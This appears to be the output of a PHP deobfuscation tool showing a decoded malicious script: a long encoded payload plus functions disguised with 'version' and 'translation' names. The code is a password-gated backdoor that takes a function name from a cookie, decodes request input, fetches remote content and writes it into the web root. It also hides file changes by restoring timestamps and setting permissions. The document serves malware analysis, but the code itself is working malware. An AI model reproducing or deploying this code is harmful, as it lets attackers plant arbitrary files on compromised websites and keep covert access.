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', '1');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '0');
        $data = translation_v1($data, '1');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("e{$check}mv", 'e3a05208ab142c9a72deccb540623063')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}

Function Calls

None

Variables

None

Stats

MD5 68c8ba0b8f7f30c1c6c9ab9f9077dc2c
Eval Count 0
Decode Time 785 ms